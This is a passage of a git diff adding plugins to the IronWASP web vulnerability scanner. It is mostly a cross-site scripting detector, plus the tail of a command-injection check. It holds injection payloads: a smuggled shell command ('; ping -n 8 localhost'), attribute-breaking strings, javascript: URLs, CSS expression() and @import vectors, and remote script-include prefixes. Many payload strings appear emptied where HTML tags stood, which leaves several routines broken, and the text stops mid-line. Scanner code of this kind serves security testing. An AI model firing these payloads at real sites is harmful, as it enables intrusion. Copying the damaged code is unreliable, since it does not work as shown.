FalsePositiveCheck) + return FR + + def GetBlindReason(self, payload, cmd, res_time): + #Reason = "IronWASP sent '; ping -n 8 localhost as payload to the application. This payload has a small system command - ping -n 8 localhost. " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small system command - >{1}>. ".format(payload, cmd) + #Reason = Reason + "If this command is executed then the server will ping itself 8 times. This will cause the response to be returned around 5000 milliseconds later than usual. " + Reason = Reason + "If this command is executed then the server will ping itself >{0}> times. This will cause the response to be returned around >{1}> milliseconds later than usual. ".format(self.ping_count, self.time * 1000) + #Reason = Reason + "After the payload was injected the response from the application took 6783 milliseconds. Normally this particular request is processed at around 463 milliseconds. " + Reason = Reason + "After the payload was injected the response from the application took >{0}> milliseconds. Normally this particular request is processed at around >{1}> milliseconds. ".format(res_time, self.avg_delay) + Reason = Reason + "This indicates that the injected command could have been executed on the server-side." + + ReasonType = "Blind" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the number of ping requests sent to different values. Then you can observe if the time taken for the response to be returned is affected accordingly." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + + +p = CommandInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/CrossSiteScripting.py b/Iron/bin/Debug/plugins/active/CrossSiteScripting.py new file mode 100644 index 0000000..d67f5a2 --- /dev/null +++ b/Iron/bin/Debug/plugins/active/CrossSiteScripting.py @@ -0,0 +1,1011 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr + +class CrossSiteScripting(ActivePlugin): + + def GetInstance(self): + p = CrossSiteScripting() + p.Name = "Cross-site Scripting" + p.Version = "0.6" + p.Description = "Active Plugin to detect Cross-site Scripting vulnerabilities" + return p + + def Check(self, Scnr): + self.Scnr = Scnr + self.base_req = self.Scnr.BaseRequest + self.base_res = self.Scnr.BaseResponse + self.Confidence = 0 + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + #Send a Random string for analysing injection nature + #ps = self.GetProbeString() + self.ps = Analyzer.GetProbeString() + + + self.Scnr.Trace(">>Checking Reflection Contexts with a Probe String:>") + self.Scnr.RequestTrace(" Injected Probe String - {0}".format(self.ps)) + + self.ps_res = self.Scnr.Inject(self.ps) + self.ps_req = self.Scnr.InjectedRequest.GetClone() + #Store the ProbeString in Analyzer for Stored XSS Reflection Checking + Analyzer.AddProbeString(self.ps, self.Scnr.InjectedRequest) + + res_details = " || Code - {0} | Length - {1}".format(self.ps_res.Code, self.ps_res.BodyLength) + if(self.ps_res.BodyString.Contains(self.ps)): + self.ps_contexts = self.GetContext(self.ps, self.ps_res) + self.ps_contexts = list(set(self.ps_contexts))#make the array unique + else: + self.ps_contexts = [] + + ps_contexts_string = "" + if(len(self.ps_contexts) == 0): + ps_contexts_string = ">No reflection>" + else: + ps_contexts_string = ">{0}>".format(",".join(self.ps_contexts)) + self.Scnr.ResponseTrace(" ==> Reflection contexts - {0}{1}".format(ps_contexts_string, res_details)) + + self.CheckCharsetSecurity() + self.CheckForCrossSiteCookieSetting() + + #Do Context specific checks + for context in self.ps_contexts: + if(context == "JS"): + self.CheckForInjectionInFullJS() + elif(context == "InLineJS" or context == "JSUrl" or context == "EventAttribute"): + self.CheckForInjectionInJSInsideHTML() + elif(context == "InLineVB" or context == "VBUrl"): + self.CheckForInjectionInVBInsideHTML() + elif(context == "UrlAttribute"): + self.CheckForInjectionInUrlAttribute() + elif(context == "CSS" or context == "InLineCSS"): + self.CheckForInjectionInFullCSS() + elif(context == "AttributeCSS"): + self.CheckForInjectionInCSSInsideStyleAttribute() + elif(context == "AttributeName"): + self.CheckForInjectionInAttributeName() + elif(context == "AttributeValueWithSingleQuote"): + self.CheckForInjectionInSingleQuoteAttributeValue() + elif(context == "AttributeValueWithDoubleQuote"): + self.CheckForInjectionInDoubleQuoteAttributeValue() + + #Do a HTML Injection Check irrespective of the context + self.CheckForInjectionInHtml() + + #Check for Injection in Special Attributes + self.CheckForInjectionInSpecialAttributes() + + #Scan is complete, analyse the results + self.AnalyseResults() + + def CheckForInjectionInHtml(self): + contexts = ["HTML"] + if (len(self.ps_contexts) == 0) or self.ps_contexts.Contains("Unknown") or self.ps_contexts.Contains("AttributeName") or self.ps_contexts.Contains("AttributeValueWithSingleQuote") or self.ps_contexts.Contains("AttributeValueWithDoubleQuote"): + contexts.append("HTML Escape") + if self.ps_contexts.Contains("Textarea"): + contexts.append("TEXTAREA tag") + if self.ps_contexts.Contains("InLineJS"): + contexts.append("SCRIPT tag") + if self.ps_contexts.Contains("InLineCSS"): + contexts.append("STYLE tag") + if self.ps_contexts.Contains("Comment"): + contexts.append("HTML Comment") + + for context in contexts: + prefixes = [] + suffixes = [] + attr_names = "" + attr_values = "" + trace_header = "" + trace_success = "" + trace_fail = "" + + if context == "HTML": + prefixes = [""] + suffixes = [""] + attr_name = "xhx" + attr_value = "yhy" + trace_header = "Checking HTML Injection in HTML Context" + trace_success = "Got HTML injection in HTML Context" + trace_fail = "Unable to inject HTML in HTML Context" + elif context == "HTML Escape": + prefixes = ["a\">", "a'>", "a>", "a\">", "a'>", "a>"] + suffixes = [""] + suffixes = [""] + attr_name = "xtx" + attr_value = "yty" + trace_header = "Checking HTML Injection by escaping Textarea tag Context" + trace_success = "Got HTML injection by escaping Textarea tag Context" + trace_fail = "Unable to inject HTML by escaping Textarea tag Context" + elif context == "SCRIPT tag": + prefixes = ["", "-->"] + suffixes = ["", ""] + attr_name = "xjx" + attr_value = "yjy" + trace_header = "Checking HTML Injection by escaping Script tag Context" + trace_success = "Got HTML injection by escaping Script tag Context" + trace_fail = "Unable to inject HTML by escaping Script tag Context" + elif context == "STYLE tag": + prefixes = ["", "-->"] + suffixes = ["", ""] + attr_name = "xsx" + attr_value = "ysy" + trace_header = "Checking HTML Injection by escaping Style tag Context" + trace_success = "Got HTML injection by escaping Style tag Context" + trace_fail = "Unable to inject HTML by escaping Style tag Context" + elif context == "HTML Comment": + prefixes = ["-->"] + suffixes = [""] + attr_name = "xcx" + attr_value = "ycy" + trace_header = "Checking HTML Injection by escaping HTML Comment Context" + trace_success = "Got HTML injection by escaping HTML Comment Context" + trace_fail = "Unable to inject HTML by escaping HTML Comment Context" + + self.Scnr.Trace(">>{0}:>".format(trace_header)) + for i in range(len(prefixes)): + payload = "{0}{3}".format(prefixes[i], attr_name, attr_value, suffixes[i]) + + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + + res_details = " || Code - {0} | Length - {1}".format(res.Code, res.BodyLength) + self.CheckResponseDetails(res) + if len(res.Html.Get("h", attr_name, attr_value)) > 0: + self.AddToTriggers(payload, "The payload in this request tries to inject an HTML tag named 'h' with attribute name '{0}' and attribute value '{1}'. The payload is {2}".format(attr_name, attr_value, payload), payload, "This response contains an HTML tag named 'h' with attribute name '{0}' and attribute value '{1}'. This was inserted by the payload.".format(attr_name, attr_value)) + self.SetConfidence(3) + self.Scnr.ResponseTrace(">{0}>{1}".format(trace_success, res_details)) + else: + self.Scnr.ResponseTrace("{0}{1}".format(trace_fail, res_details)) + + def CheckForInjectionInJSInsideHTML(self): + self.CheckForInjectionInJS(True) + + def CheckForInjectionInFullJS(self): + self.CheckForInjectionInJS(False) + + def CheckForInjectionInJS(self, InLine): + + script_contexts = [] + contaminated_scripts = [] + if(InLine): + contaminated_scripts = self.ps_res.Html.GetJavaScript(self.ps) + else: + contaminated_scripts.append(self.ps_res.BodyString) + payload_prefixes = [] + for script in contaminated_scripts: + payload_prefixes.append(self.GetJSPayload(script)) + self.CheckSinkAssignment(script) + script_contexts.extend(self.GetJSContexts(script)) + + script_contexts = list(set(script_contexts))#make the array unique + + if script_contexts.count("NormalString") > 0: + self.AddToTriggersWithProbeStringInjection(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps, "The random string from the payload is found in the JavaScript code section of this response.") + self.SetConfidence(1) + self.Scnr.Trace(">Probe string is reflected inside JavaScript Script outside Quotes. Possibly vulnerable!>") + + if len(script_contexts) > 0: + self.Scnr.Trace(">>Got injection inside JavaScript as - {0}>".format(",".join(script_contexts))) + self.Scnr.Trace(">>Checking for Injection in JS Context:>") + keyword = "dzkqivxy" + js_inj_success = False + for payload_prefix in payload_prefixes: + binders = [";", "\n", "\r"] + paddings = [";/*", ";//", "/*", "//"] + payload_inj_success = False + for binder in binders: + for padding in paddings: + if payload_inj_success: + break + payload = "{0}{1}{2}{3}".format(payload_prefix, binder, keyword, padding) + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsExpressionStatement(res, keyword): + self.Scnr.ResponseTrace(">Injected {0} as a JavaScript statement.>".format(keyword)) + self.AddToTriggers(payload, "The payload in this request tries to insert the string '{0}' as a JavaScript statement. The payload is {1}".format(keyword, payload), keyword, "The string '{0}' is found as an statement in the JavaScript code section of this response. This was inserted by the payload.".format(keyword)) + self.SetConfidence(3) + payload_inj_success = True + js_inj_success = True + else: + self.Scnr.ResponseTrace("Could not get {0} as JavaScript statement".format(keyword)) + + if not js_inj_success: + payload_prefixes = [] + if script_contexts.count("SingleQuotedString") > 0: + payload_prefixes.append("'") + if script_contexts.count("DoubleQuotedString") > 0: + payload_prefixes.append('"') + if script_contexts.count("SingleLineComment") > 0: + payload_prefixes.append('\r') + payload_prefixes.append('\n') + if script_contexts.count("MutliLineComment") > 0: + payload_prefixes.append('*/') + keyword = "dzpyqmw" + for pp in payload_prefixes: + payload = "{0}{1}".format(pp, keyword) + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsNormalString(res, keyword): + self.Scnr.ResponseTrace(">Injected {0} as a JavaScript statement.>".format(keyword)) + self.AddToTriggers(payload, "The payload in this request tries to insert the string '{0}' as a JavaScript statement. The payload is {1}".format(keyword, payload), keyword, "The string '{0}' is found as an statement in the JavaScript code section of this response. This was inserted by the payload.".format(keyword)) + self.SetConfidence(2) + js_inj_success = True + break + else: + self.Scnr.ResponseTrace("Could not get {0} as JavaScript statement".format(keyword)) + if not js_inj_success: + if script_contexts.count("NormalString") > 0: + js_inj_success = True + + if not js_inj_success: + self.ReportJSTestLead() + + def GetJSPayload(self, script): + context_finishers = ['', ')', ']', '}', '))', ')]', ')}', '])', ']]', ']}', '})', '}]', '}}'] + context_finishers.extend([')))', '))]', '))}', ')])', ')]]', ')]}', ')})', ')}]', ')}}', ']))', '])]']) + context_finishers.extend(['])}', ']])', ']]]', ']]}', ']})', ']}]', ']}}', '}))', '})]', '})}', '}])']) + context_finishers.extend(['}]]', '}]}', '}})', '}}]', '}}}']) + quotes = ["", "'", '"'] + padding = ";/*" + keyword = "dzkqivxy" + for cf in context_finishers: + for q in quotes: + payload_prefix = "{0}{1}".format(q, cf) + payload = "{0};{1}{2}".format(payload_prefix, keyword, padding) + script_updated = script.replace(self.ps, payload) + try: + if IronJint.IsExpressionStatement(script_updated, keyword): + return payload_prefix + except: + pass + return "" + + def CheckSinkAssignment(self, script): + try: + ij = IronJint.Trace(script, self.ps) + if len(ij.SourceToSinkLines) > 0: + self.Scnr.Trace(">>>Injected ProbeString was assigned to a DOM XSS Sink>>") + js_triggers = [] + for line in ij.SourceToSinkLines: + js_triggers.append(line) + self.AddToTriggersWithProbeStringInjection(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", "\r\n".join(js_triggers), "The random string from the payload has been found in DOM XSS sinks inside the JavaScript of this response.") + self.SetConfidence(3) + except: + pass + + def GetJSContexts(self, script): + script_contexts = [] + try: + script_contexts.extend(CodeContext.GetJavaScriptContext(script, self.ps)) + except: + pass + return script_contexts + + def IsExpressionStatement(self, res, keyword): + scripts = [] + if res.IsJavaScript: + if res.BodyString.count(keyword) > 0: + scripts.append(res.BodyString) + elif res.IsHtml: + scripts = res.Html.GetJavaScript(keyword) + + for script in scripts: + try: + if IronJint.IsExpressionStatement(script, keyword): + return True + except: + pass + return False + + def IsNormalString(self, res, keyword): + scripts = [] + if res.IsJavaScript: + if res.BodyString.count(keyword) > 0: + scripts.append(res.BodyString) + elif res.IsHtml: + scripts = res.Html.GetJavaScript(keyword) + + for script in scripts: + try: + script_contexts = [] + script_contexts.extend(CodeContext.GetJavaScriptContext(script, keyword)) + if script_contexts.count("NormalString"): + return True + except: + pass + return False + + def CheckForInjectionInVBInsideHTML(self): + self.Scnr.Trace(">>Checking for Script Injection inside VB Script Tag:>") + script_contexts = [] + contaminated_scripts = self.ps_res.Html.GetVisualBasic(self.ps) + for script in contaminated_scripts: + script_contexts.extend(self.GetVBContexts(script)) + + script_contexts = list(set(script_contexts))#make the array unique + if script_contexts.count("NormalString") > 0: + self.AddToTriggersWithProbeStringInjection(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps, "The random string from the payload has been found in the VB Script code section of this response.") + self.SetConfidence(1) + self.Scnr.Trace(">Probe string is reflected inside VB Script outside Quotes. Possibly vulnerable!>") + + if len(script_contexts) > 0: + self.Scnr.Trace(">>Got injection inside VB Script as - {0}>".format(",".join(script_contexts))) + + payload_prefixes = [""] + if script_contexts.count("DoubleQuotedString") > 0: + payload_prefixes.append('"') + if script_contexts.count("SingleLineComment") > 0: + payload_prefixes.append('\n') + keyword = "dzpxqmw" + vb_inj_success = False + for pp in payload_prefixes: + payload = "{0}{1}".format(pp, keyword) + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsNormalVBString(res, keyword): + self.Scnr.ResponseTrace(">Injected {0} as a VB statement.>".format(keyword)) + self.AddToTriggers(payload, "The payload in this request tries to insert the string '{0}' as a VB Script statement. The payload is {1}".format(keyword, payload), keyword, "The string '{0}' is found as an statement in the VB Script code section of this response. This was inserted by the payload.".format(keyword)) + self.SetConfidence(2) + vb_inj_success = True + break + else: + self.Scnr.ResponseTrace("Could not get {0} as JavaScript statement".format(keyword)) + + def GetVBContexts(self, script): + script_contexts = [] + try: + script_contexts.extend(CodeContext.GetVisualBasicContext(script, self.ps)) + except: + pass + return script_contexts + + def IsNormalVBString(self, res, keyword): + scripts = [] + if res.IsHtml: + scripts = res.Html.GetVisualBasic(keyword) + for script in scripts: + try: + script_contexts = [] + script_contexts.extend(CodeContext.GetVisualBasicContext(script, keyword)) + if script_contexts.count("NormalString"): + return True + except: + pass + return False + + def CheckForInjectionInUrlAttribute(self): + #Start the test + keyword = "yhstdjbz" + payload = "javascript:{0}".format(keyword) + + self.Scnr.Trace(">>Checking JS Injection in UrlAttribute Context:>") + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + + ua_res = self.Scnr.Inject(payload) + + res_details = " || Code - {0} | Length - {1}".format(str(ua_res.Code), str(ua_res.BodyLength)) + self.CheckResponseDetails(ua_res) + + if ua_res.BodyString.Contains(payload) or (ua_res.Headers.Has("Refresh") and ua_res.Headers.Get("Refresh").count(payload) > 0): + ua_inj_contexts = self.GetContext(keyword, ua_res) + if ua_inj_contexts.Contains("JSUrl"): + self.Scnr.ResponseTrace(">Got {0} in InLineJS context>{1}".format(keyword, res_details)) + self.AddToTriggers(payload, "The payload in this request attempts to inject the string '{0}' as executable code using the javascript: url format. The payload is {1}".format(keyword, payload), payload, "The string '{0}' from the payload is found as a JavaScript url in this response.".format(keyword)) + self.SetConfidence(3) + else: + self.Scnr.ResponseTrace("Got {0} in non-UrlAttribute context".format(payload)) + else: + #must check for the encoding here + self.Scnr.ResponseTrace("No reflection{0}".format(res_details)) + + + def CheckForInjectionInAttributeName(self): + #Start the test + self.Scnr.Trace(">>Checking for Injection in HTML AttributeName Context:>") + self.InjectAttribute(" olpqir=\"vtkir(1)\"","olpqir","vtkir(1)") + self.InjectAttribute(" olpqir='vtkir(1)'","olpqir","vtkir(1)") + + + def CheckForInjectionInSpecialAttributes(self): + self.Scnr.Trace(">>Checking for Injection in Special HTML Attributes:>") + + self.CheckForSameSiteScriptIncludeSetting() + + host = self.base_req.Host + #remove the port number from hostname + try: + if host.index(":") > 0: + host = host[:host.index(":")] + except: + pass + self.Scnr.Trace(">>Checking for Reflection inside Special HTML Attributes:>") + initial_payloads = [ "fpwzyqmc", "http://{0}.fpwzyqmc".format(host), "https://{0}.fpwzyqmc".format(host), "//{0}.fpwzyqmc".format(host)] + eligible = False + for i_p in initial_payloads: + self.Scnr.RequestTrace(" Injected {0} ==> ".format(i_p)) + res = self.Scnr.Inject(i_p) + if self.IsInSpecialAttribute(i_p, res): + eligible = True + self.Scnr.ResponseTrace(" Found reflection inside Special HTML Attributes") + break + else: + self.Scnr.ResponseTrace(" Not reflected inside Special HTML Attributes") + if not eligible: + self.Scnr.Trace("> No reflection found inside Special HTML Attributes") + return + + self.Scnr.Trace(">>Checking for Payload Injection inside Special HTML Attributes:>") + sign_str = "olxizrk" + self.injectable_special_tags = [] + self.injectable_special_attributes = [] + #prefixes taken from http://kotowicz.net/absolute/ + prefixes = [ "http://", "https://", "//", "http:\\\\", "https:\\\\", "\\\\", "/\\", "\\/", "\r//", "/ /", "http:", "https:", "http:/", "https:/", "http:////", "https:////", "://", ".:."] + all_tags_and_attrs = [] + for prefix in prefixes: + for ii in range(2): + if ii == 0: + payload = "{0}{1}".format(prefix, sign_str) + else: + payload = "{0}{1}.{2}".format(prefix, host, sign_str) + self.Scnr.RequestTrace(" Injected {0} ==> ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsInSpecialAttribute(payload, res): + all_tags_and_attrs = [] + for i in range(len(self.injectable_special_tags)): + all_tags_and_attrs.append(" {0}) >{1}> attribute of >{2}> tag".format(i + 1, self.injectable_special_tags[i], self.injectable_special_attributes[i])) + self.Scnr.ResponseTrace(">Got {0} inside the following Special HTML Attributes:>>{1}".format(payload, ">".join(all_tags_and_attrs))) + if self.injectable_special_tags.count("script") > 0: + self.AddToTriggers(payload, "The payload in this request is an absolute url pointing to an external domain. The payload is {0}".format(payload), payload, "The absolute url from the payload is found in the src attribute of SCRIPT tag in this response.") + self.SetConfidence(3) + self.Scnr.Trace(">>Able to set the source attribute of the Script tag to remote URL and include rogue JavaScript>") + elif self.injectable_special_tags.count("object") > 0: + self.AddToTriggers(payload, "The payload in this request is an absolute url pointing to an external domain. The payload is {0}".format(payload), payload, "The absolute url from the payload is found in the data attribute of OBJECT tag in this response.") + self.SetConfidence(3) + self.Scnr.Trace(">>Able to set the data attribute of the Object tag to remote URL and include rogue active components like SWF files>") + elif self.injectable_special_tags.count("embed") > 0: + self.AddToTriggers(payload, "The payload in this request is an absolute url pointing to an external domain. The payload is {0}".format(payload), payload, "The absolute url from the payload is found in the href attribute of EMBED tag in this response.") + self.SetConfidence(3) + self.Scnr.Trace(">>Able to set the href attribute of the Embed tag to remote URL and include rogue active components like SWF files>") + elif self.injectable_special_tags.count("link") > 0: + self.AddToTriggers(payload, "The payload in this request is an absolute url pointing to an external domain. The payload is {0}".format(payload), payload, "The absolute url from the payload is found in the href attribute of LINK tag in this response.") + self.SetConfidence(3) + self.Scnr.Trace(">>Able to set the href attribute of the Link tag to remote URL and include rogue CSS that can contain JavaScript>") + else: + self.ReportInjectionInSpecialAttributes(payload) + return + else: + res_details = " || Code - {0} | Length - {1}".format(res.Code, res.BodyLength) + self.Scnr.ResponseTrace("Did not get payload inside the Special HTML Attributes{0}".format(res_details)) + + def CheckForSameSiteScriptIncludeSetting(self): + scripts = [] + styles = [] + scripts_vuln = [] + styles_vuln = [] + if self.ps_res.IsHtml: + scripts = self.ps_res.Html.GetValues("script", "src") + styles = self.ps_res.Html.GetValues("link", "href") + for script in scripts: + if self.IsInUrlPath(script, self.ps): + scripts_vuln.append(script) + for style in styles: + if self.IsInUrlPath(style, self.ps): + styles_vuln.append(style) + if (len(scripts_vuln) + len(styles_vuln)) > 0: + self.Scnr.Trace(">>Able to influence the location of the in-domain JS/CSS inlcuded in the page.>") + self.ReportSameSiteScriptInclude(scripts_vuln, styles_vuln) + + def IsInUrlPath(self, url, keyword): + try: + full_url = "" + if url.startswith("http://") or url.startswith("https://"): + full_url = url + else: + full_url = "http://a/{0}".format(url) + r = Request(full_url) + if r.UrlPath.count(keyword) > 0: + return True + except: + pass + return False + + def IsInSpecialAttribute(self, keyword, res): + special_tags = [ "iframe", "frame", "script", "link", "object", "embed", "form", "button", "base", "a"] + special_attributes = [ "src", "src", "src", "href", "data", "src", "action", "formaction", "href", "href"] + + self.injectable_special_tags = [] + self.injectable_special_attributes = [] + + for i in range(len(special_tags)): + tag_name = special_tags[i] + tag_attr = special_attributes[i] + values = res.Html.GetValues(tag_name, tag_attr) + for value in values: + if value.startswith(keyword): + self.injectable_special_tags.append(tag_name) + self.injectable_special_attributes.append(tag_attr) + break + if len(self.injectable_special_tags) > 0: + return True + else: + return False + + def CheckForInjectionInSingleQuoteAttributeValue(self): + self.Scnr.Trace(">>Checking for Injection in HTML AttributeValue Context:>") + self.InjectAttribute(" \' olqpir=\"vtikr(1)\"","olqpir","vtikr(1)") + self.InjectAttribute(" \' olqpir=\'vtikr(1)\'","olqpir","vtikr(1)") + + def CheckForInjectionInDoubleQuoteAttributeValue(self): + self.Scnr.Trace(">>Checking for Injection in HTML AttributeValue Context:>") + self.InjectAttribute(" \" olqpir=\"vtikr(1)\"","olqpir","vtikr(1)") + self.InjectAttribute(" \" olqpir=\'vtikr(1)\'","olqpir","vtikr(1)") + #HtmlAgilityPack considers quote-less as Double-Quote + self.InjectAttribute(" olqpir=\"vtikr(1)\"","olqpir","vtikr(1)") + self.InjectAttribute(" olqpir=\'vtikr(1)\'","olqpir","vtikr(1)") + self.InjectAttribute("aa olqpir=\"vtikr(1)\"","olqpir","vtikr(1)") + self.InjectAttribute("aa olqpir=\'vtikr(1)\'","olqpir","vtikr(1)") + + def InjectAttribute(self, Payload, AttrName, AttrValue): + #Start the test + self.Scnr.RequestTrace(" Injected {0} - ".format(Payload)) + + at_res = self.Scnr.Inject(Payload) + res_details = " || Code - {0} | Length - {1}".format(str(at_res.Code), str(at_res.BodyLength)) + self.CheckResponseDetails(at_res) + + name_contexts = self.GetContext(AttrName, at_res) + value_contexts = self.GetContext(AttrValue, at_res) + if(name_contexts.Contains("AttributeName") and (value_contexts.Contains("AttributeValueWithSingleQuote") or value_contexts.Contains("AttributeValueWithDoubleQuote"))): + self.Scnr.ResponseTrace(">Got {0} as AttributeName and {1} as AttributeValue>{2}".format(AttrName, AttrValue, res_details)) + self.AddToTriggers(Payload, "The payload in this request tries to inject an attribute with name '{0}' and value '{1}' inside an HTML tag. The payload is {2}".format(AttrName, AttrValue, Payload), Payload, "This response contains an attribute with name '{0}' and value '{1}' inside an HTML tag. This was inserted by the payload.".format(AttrName, AttrValue)) + self.SetConfidence(3) + elif(at_res.BodyString.Contains(Payload)): + self.Scnr.ResponseTrace("Got {0} outside of AttributeName and AttributeValue context{1}".format(Payload, res_details)) + else: + self.Scnr.ResponseTrace("No useful reflection{0}".format(res_details)) + + + def CheckForInjectionInCSSInsideStyleAttribute(self): + self.CheckForInjectionInCSS(True) + + def CheckForInjectionInFullCSS(self): + self.CheckForInjectionInCSS(False) + + def CheckForInjectionInCSS(self, InStyleAttribute): + css_contexts = self.GetCssContexts(self.ps, self.ps_res) + for context in css_contexts: + self.CheckForInjectionInCSSContext(context, InStyleAttribute) + + def GetCssContexts(self, keyword, res): + css_contexts = [] + contaminated_css = [] + if res.IsHtml: + contaminated_css = res.Html.GetCss(keyword, True) + elif res.IsCss: + contaminated_css.append(res.BodyString) + for css in contaminated_css: + try: + css_contexts.extend(IronCss.GetContext(css, keyword)) + except: + pass + css_contexts = list(set(css_contexts)) + return css_contexts + + def CheckForInjectionInCSSContext(self, css_context, InStyleAttribute): + payload = "" + url_special_payloads = [] + jsurl_special_payloads = [] + js_special_payloads = [] + quote = "" + + context_parts = css_context.split("-") + # + #CSS Value contexts + # + if context_parts[0] == "Value": + quote = context_parts[3] + if context_parts[1] == "Normal" or context_parts[1] == "OnlyNormal": + payload = "aa;} aa {aa:aa" + jsurl_special_payloads.append("aa; background-image: url(); aa:aa") + js_special_payloads.append("aa; aa: expression(''); aa:aa") + js_special_payloads.append('aa; aa: expression(""); aa:aa') + if context_parts[1] == "OnlyNormal": + if context_parts[2] == "Full": + js_special_payloads.append("expression('')") + elif context_parts[2] == "Start": + js_special_payloads.append("expression(''); aa:") + elif context_parts[1] == "JS": + #report as xss + pass + elif context_parts[1] == "Url": + payload = "aa);} aa {aa:url(aa" + jsurl_special_payloads.append("aa); background-image: url(); aa:url(aa") + js_special_payloads.append("aa); aa: expression(''); aa:url(aa") + js_special_payloads.append('aa); aa: expression(""); aa:url(aa') + if context_parts[2] == "Start" or context_parts[2] == "Full": + jsurl_special_payloads.append("") + # + #CSS Propery contexts + # + elif context_parts[0] == "Property": + payload = "aa:aa} aa {aa" + if context_parts[1] == "Start" or context_parts[1] == "Full": + jsurl_special_payloads.append("background-image:url(); aa") + js_special_payloads.append("aa:expression(''); aa") + js_special_payloads.append('aa:expression(""); aa') + # + #CSS Ident contexts + # + elif context_parts[0] == "Ident": + if context_parts[1] == "Ident": + payload = "aa {x:x} @aa" + if context_parts[2] == "Start" or context_parts[2] == "Full": + url_special_payloads.append("import ''; @a") + url_special_payloads.append('import ""; @a') + jsurl_special_payloads.append("import ''; @a") + jsurl_special_payloads.append('import ""; @a') + elif context_parts[1] == "MediaValue": + payload = "aa {x {x:x}} @media aa" + # + #CSS Import contexts + # + elif context_parts[0] == "Import": + quote = context_parts[3] + if context_parts[1] == "Raw": + payload = "aa; @import aa" + if context_parts[2] == "Start" or context_parts[2] == "Full": + url_special_payloads.append("") + jsurl_special_payloads.append("") + #report as xss + elif context_parts[1] == "Url": + payload = "aa); @import url(aa" + if context_parts[2] == "Start" or context_parts[2] == "Full": + url_special_payloads.append("") + jsurl_special_payloads.append("") + #report as xss + elif context_parts[1] == "RawJS": + #report as xss + pass + elif context_parts[1] == "UrlJS": + #report as xss + pass + pass + # + #CSS Selector contexts + # + elif context_parts[0] == "Selector": + if context_parts[1] == "Normal": + if context_parts[2] == "Start" or context_parts[2] == "Full": + payload = " aa" + else: + payload = "aa {aa:aa} aa" + elif context_parts[1] == "Round": + payload = "aa) {aa:aa} aa(aa" + elif context_parts[1] == "SquareKey": + payload = "aa=aa] {aa:aa} aa[aa" + elif context_parts[1] == "SquareValue": + payload = "aa] {aa:aa} aa[aa=aa" + # + #CSS Comment contexts + # + elif context_parts[0] == "Comment": + payload = "*/ /*" + + payload = self.InsertCssQuotes(quote, payload) + + url_vectors = ["@import '//iczpbtsq';", '@import "//iczpbtsq";', "@import url(//iczpbtsq);"] + js_vectors = ["@import 'javascript:\"iczpbtsq\"';", '@import "javascript:\'iczpbtsq\'";'] + js_vectors.extend(["@import url(javascript:'iczpbtsq');", '@import url(javascript:"iczpbtsq");']) + js_vectors.extend(["x {x:expression('iczpbtsq')}", 'x {x:expression("iczpbtsq")}']) + js_vectors.extend(["x {background-image:url(javascript:'iczpbtsq')}", 'x {background-image:url(javascript:"iczpbtsq")}']) + + url_special_payloads = list(set(url_special_payloads)) + jsurl_special_payloads = list(set(jsurl_special_payloads)) + js_special_payloads = list(set(js_special_payloads)) + + for spl_payload in jsurl_special_payloads: + current_payload = spl_payload.replace("", "javascript:'iczpbtsq'") + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "iczpbtsq", "js") + current_payload = spl_payload.replace("", 'javascript:"iczpbtsq"') + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "iczpbtsq", "js") + + for spl_payload in js_special_payloads: + current_payload = spl_payload.replace("", "iczpbtsq") + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "iczpbtsq", "js") + + for spl_payload in url_special_payloads: + current_payload = spl_payload.replace("", "//iczpbtsq") + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "//iczpbtsq", "url") + + for vector in url_vectors: + current_payload = payload.replace("", vector) + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "//iczpbtsq", "url") + for vector in js_vectors: + current_payload = payload.replace("", vector) + current_payload = self.InsertCssQuotes(quote, current_payload) + if self.IsCssPayloadAllowed(InStyleAttribute, current_payload): + self.InjectAndCheckCss(current_payload, "iczpbtsq", "js") + + def IsCssPayloadAllowed(self, InStyleAttribute, payload): + if payload.count("{") > 0 or payload.count("}") > 0: + if InStyleAttribute: + return False + return True + + def InjectAndCheckCss(self, payload, keyword, url_or_js): + self.Scnr.RequestTrace("Injecting {0} - ".format(payload)) + res = self.Scnr.Inject(payload) + if self.IsReqCssContext(res, keyword, url_or_js): + self.Scnr.ResponseTrace(">XSS inside CSS successful!>") + self.AddToTriggers(payload, "The payload in this request tries to insert the string '{0}' as executable JavaScript code inside CSS. The payload is {1}".format(keyword, payload), keyword, "The string '{0}' from the payload is found inside the CSS section of this response and it's exact position inside the CSS can lead to it being executed as JavaScript.".format(keyword)) + self.SetConfidence(3) + else: + self.Scnr.ResponseTrace("Not in interesting 